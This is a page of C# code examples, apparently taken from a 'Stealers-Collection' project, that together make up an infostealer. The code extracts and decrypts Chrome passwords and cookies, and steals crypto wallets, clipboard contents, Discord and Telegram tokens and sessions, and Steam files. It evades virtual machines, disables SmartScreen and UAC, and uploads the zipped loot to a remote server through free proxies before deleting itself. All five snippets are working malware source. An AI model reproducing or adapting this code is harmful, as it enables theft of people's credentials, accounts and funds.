コード例 #1
0
 public static void Inizialize()
 {
     if (File.Exists(CombineEx.Combination(OSLibrary.GetOSBit(), "SQLite.Interop.dll")))
     {
         _Logs.Clear();
         for (int i = 0; i < ChromeCookiesSearcher.GetCookies.Count; i++)
         {
             int SafeIndex = i;
             if (File.Exists(ChromeCookiesSearcher.GetCookies[SafeIndex]))
             {
                 try
                 {
                     using (var Connect = new SQLiteConnection($"Data Source={ChromeCookiesSearcher.GetCookies[SafeIndex]};pooling=false"))
                     {
                         Connect.Open();
                         using (var ComText = new SQLiteCommand("SELECT name, encrypted_value, path, expires_utc, last_access_utc, host_key FROM cookies", Connect))
                         {
                             ComText.CommandType = CommandType.Text;
                             using (SQLiteDataReader reader = ComText.ExecuteReader())
                             {
                                 if (!reader.HasRows)
                                 {
                                     continue;
                                 }
                                 else
                                 {
                                     while (reader.Read())
                                     {
                                         _Logs.Add(new BaseCookies
                                         {
                                             Application     = Path.GetFileNameWithoutExtension(ChromeCookiesSearcher.GetCookies[SafeIndex]),
                                             HostKey         = (string)reader["host_Key"],
                                             Name            = (string)reader["Name"],
                                             Path            = (string)reader["path"],
                                             Expires_utc     = (long)reader["expires_utc"],
                                             Last_access_utc = (long)reader["last_access_utc"],
                                             EncryptedValue  = ChromeDecrypt.DecryptValue((byte[])reader["encrypted_value"], DataProtectionScope.LocalMachine)
                                         });
                                     }
                                 }
                             }
                         }
                         SQLiteConnection.ClearPool(Connect);
                     }
                 }
                 catch (SQLiteException) { continue; }
                 catch (FormatException) { continue; }
                 catch (ArgumentException) { continue; }
                 catch (IndexOutOfRangeException) { continue; }
                 catch (DllNotFoundException) { continue; }
             }
         }
         Ccleaner.DeltaLogs("Cookies");
         foreach (BaseCookies ss in _Logs)
         {
             SaveData.SaveFile(GlobalPath.CookiesLog, ss.ToString());
         }
     }
 }
コード例 #2
0
        public static void Inizialize()
        {
            _Logs.Clear();
            for (int i = 0; i < ChromeSearcher.GetLogins.Count; i++)
            {
                int SafeIndex = i;
                if (File.Exists(ChromeSearcher.GetLogins[SafeIndex]))
                {
                    try
                    {
                        using (var Connect = new SQLiteConnection($"Data Source={ChromeSearcher.GetLogins[SafeIndex]};Version=3;New=False;Compress=True;"))
                        {
                            Connect.Open();
                            using (var ComText = new SQLiteCommand("SELECT origin_url, username_value, password_value FROM logins", Connect))
                            {
                                using (SQLiteDataReader reader = ComText.ExecuteReader())
                                {
                                    if (reader.HasRows)
                                    {
                                        while (reader.Read())
                                        {
                                            _Logs.Add(new BaseAccount
                                            {
                                                BrowserName = Path.GetFileNameWithoutExtension(ChromeSearcher.GetLogins[SafeIndex]),
                                                Url         = (string)reader["origin_url"],
                                                User        = (string)reader["username_value"],
                                                Pass        = ChromeDecrypt.DecryptValue(GetBytes(reader, 2), DataProtectionScope.LocalMachine)
                                            });
                                        }
                                    }
                                    else
                                    {
                                        continue;
                                    }
                                }
                            }
                            SQLiteConnection.ClearPool(Connect);
                        }
                    }
                    catch (SQLiteException) { continue; }
                    catch (FormatException) { continue; }
                    catch (ArgumentException) { continue; }
                    catch (IndexOutOfRangeException) { continue; }
                    catch (DllNotFoundException) { continue; }
                }
            }
            Ccleaner.DeltaLogs("Logins");
            var b = new Wrapper
            {
                Browsers = _Logs
            };

            if (File.Exists(CombineEx.Combination(GlobalPath.GarbageTemp, "Newtonsoft.Json.dll")))
            {
                SaveData.SaveFile(GlobalPath.PasswordLog, JsonConvert.SerializeObject(b, Formatting.Indented));
            }
        }
コード例 #3
0
 private static void ProxyStarted(Uri link, string method, string filename, bool True = true)
 {
     ProxyGrabber.Parse("http://xseo.in/freeproxy");
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 client.Proxy = new WebProxy(ProxyGrabber.builder.ToString());
                 client.UploadFile(link, method, filename);
                 CombineEx.DeleteFile(GlobalPath.ZipAdd);
                 Ccleaner.ClearDll();
             }
         }
     }
     catch (WebException) { }
     catch (UriFormatException) { }
 }
コード例 #4
0
 public static void Inizialize(Uri url, string method, string filename, bool status = true)
 {
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 try
                 {
                     client.UploadFile(url, method, filename);
                     CombineEx.DeleteFile(GlobalPath.ZipAdd);
                     Ccleaner.ClearDll();
                 }
                 catch (WebException) { ProxyStarted(url, method, filename); }
                 catch (UriFormatException) { }
             }
         }
     }
     catch (WebException) { ProxyStarted(url, method, filename); }
 }
コード例 #5
0
ファイル: Updater.cs プロジェクト: yaskin/Stealers-Collection
        private void Updater_Load(object sender, EventArgs e)
        {
            if (Date.Delay)
            {
                Thread.Sleep(Date.DelaySec);
            }

            if (!AntiVM.GetCheckVMBot())
            {
                if (!MovEx.CheckPath())
                {
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                }
                else
                {
                    HideFolders.Enabled(0);
                    DisableLockers.SmartScreen();
                    DisableLockers.UAC();
                    AntiSniffer.Inizialize();

                    if (Date.Downloader || Date.AdminRight)
                    {
                        Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess);
                    }
                    if (Date.IpLogger)
                    {
                        IPLogger.Sender(Date.IpLoggerLink);
                    }
                    if (Date.InfoGrabber)
                    {
                        InfoGrabber.CreateTable(GlobalPath.PC_File);
                    }
                    if (Date.CryptoWall)
                    {
                        BitBoard.GetWallet();
                    }
                    if (Date.Browsers)
                    {
                        ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins);
                        ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies);
                        GetPassword.Inizialize();
                        GetCookies.Inizialize();
                    }
                    if (Date.Buffer)
                    {
                        ClipboardEx.GetBuffer(GlobalPath.Buffer);
                    }
                    if (Date.Programs)
                    {
                        MailFoxPassword.Inizialize();
                        DcGrabber.GeTokens();
                        TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                    }
                    if (Date.Clients)
                    {
                        GetClients.Inizialize();
                    }
                    if (Date.Steam)
                    {
                        GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam");
                    }
                    if (Date.ScreenShot)
                    {
                        ScreenShot.Shoot(GlobalPath.Screen);
                    }
                    Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp);
                    Archiving.Inizialize();
                    UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd);
                    //BlockIE.Enabled(1); // Блокировка интернета
                    if (Date.Delay)
                    {
                        ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                    }
                    Application.Exit();
                }
            }
            else
            {
                SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!");
                if (Date.Delay)
                {
                    ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath);
                }
            }
        }